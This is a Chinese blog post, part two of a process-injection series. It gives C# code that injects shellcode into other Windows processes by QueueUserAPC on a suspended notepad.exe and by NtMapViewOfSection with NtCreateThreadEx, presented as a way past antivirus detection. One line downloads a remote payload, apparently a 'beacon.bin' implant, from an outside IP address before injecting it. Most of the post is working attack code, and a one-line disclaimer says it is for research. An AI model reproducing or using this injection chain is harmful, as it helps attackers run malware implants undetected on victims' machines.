首页 进程注入(二)
文章
取消

进程注入(二)

0X00 前言

在实际环境中CreateRemoteThread会被诸如Windows Defender等各大杀软严格检测拦截。QueueUserAPCNtMapViewOfSection是我们可以用来在进程中执行shellcode的另外两种方式。

0x01 QueueUserAPC

对于QueueUserAPC,这里主要有两种利用方式:

1.生成处于挂起状态的进程,在主线程上对APC进行排队并继续。

2.枚举现有进程的线程,并在其中一个线程上对APC进行排队。(等待该线程进入alert状态或

强制该线程进入alert状态),而创建进程则是最为直接的方式

如前所述创建一个进程,但传递CREATE_SUSPENDED标志。如果进程无法启动,只需抛出一个异常即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var si = new Win32.STARTUPINFO();
si.cb = Marshal.SizeOf(si);

var pa = new Win32.SECURITY_ATTRIBUTES();
pa.nLength = Marshal.SizeOf(pa);

var ta = new Win32.SECURITY_ATTRIBUTES();
ta.nLength = Marshal.SizeOf(ta);

var pi = new Win32.PROCESS_INFORMATION();

var success = Win32.CreateProcessW(
    "C:\\Windows\\System32\\notepad.exe",
    null,
    ref ta,
    ref pa,
    false,
    0x00000004, // CREATE_SUSPENDED
    IntPtr.Zero,
    "C:\\Windows\\System32",
    ref si,
    out pi);

// 如果无法创建,抛出异常
if (!success)
    throw new Win32Exception(Marshal.GetLastWin32Error());

获取shellcode并将其写入目标进程。调用QueueUserAPC API。为它提供shellcode在内存中的位置和进程主线程的句柄。

1
2
3
4
5
// APC排队
Win32.QueueUserAPC(
    baseAddress, // shellcode位置
    pi.hThread,  // 进程的主线程
    0);

恢复进程

1
2
// 恢复进程
Win32.ResumeThread(pi.hThread);

0x02 NtMapViewOfSection

NtMapViewOfSectionAPI集为VirtualAllocExWriteProcessMemoryVirtualProtectEx提供了一个很好的替代方案。但是使用这些较低级别的本地API的最大挑战是它们没有正式文档,因此我们只能在ntdll.dll上进行逆向工程来努力找出它们。可以参考网上这份文档

获取shellcode并在当前流程中创建一个新的section。这个section必须与shellcode一样大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var shellcode = await client.GetByteArrayAsync("https://192.168.2.151/beacon.bin");

var hSection = IntPtr.Zero;
var maxSize = (ulong)shellcode.Length;

//在当前进程中创建新section
Native.NtCreateSection(
    ref hSection,
    0x10000000,     // SECTION_ALL_ACCESS
    IntPtr.Zero,
    ref maxSize,
    0x40,           // PAGE_EXECUTE_READWRITE
    0x08000000,     // SEC_COMMIT
    IntPtr.Zero);

将该section的view映射到当前进程的内存中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 将该section以RW映射到当前进程的内存中
Native.NtMapViewOfSection(
    hSection,
    (IntPtr)(-1),
    out var localBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    out var _,
    2,              // ViewUnmap (创建的view不会被子进程继承)
    0,
    0x04);          // PAGE_READWRITE

// 将shellcode复制到我们自己进程的内存中
Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

获取目标进程的句柄并将同一section映射到其中。这将自动将shellcode从当前进程复制到目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 获取目标进程的reference
var target = Process.GetProcessById(4148);

//将该区域作为RX映射到目标进程中
Native.NtMapViewOfSection(
    hSection,
    target.Handle,
    out var remoteBaseAddress,
    IntPtr.Zero,
    IntPtr.Zero,
    IntPtr.Zero,
    out _,
    2,
    0,
    0x20);      // PAGE_EXECUTE_READ

创建一个新的远程线程来执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
// 执行目标进程中的shellcode
Native.NtCreateThreadEx(
    out _,
    0x001F0000, // STANDARD_RIGHTS_ALL
    IntPtr.Zero,
    target.Handle,
    remoteBaseAddress,
    IntPtr.Zero,
    false,
    0,
    0,
    0,
    IntPtr.Zero);

0x03 小结

​ 本文继续介绍了进程注入的知识。综合两篇文章,我们可以混合和匹配它们来创建自己的注入样式。例如,我们可以生成处于挂起状态的进程,使用NtMapViewOfSectionAPI映射和复制shellcode,然后QueueUserAPC或NtQueueApcThread执行它。

注:本文仅用于安全研究和学习之用

本文由作者按照 CC BY 4.0 进行授权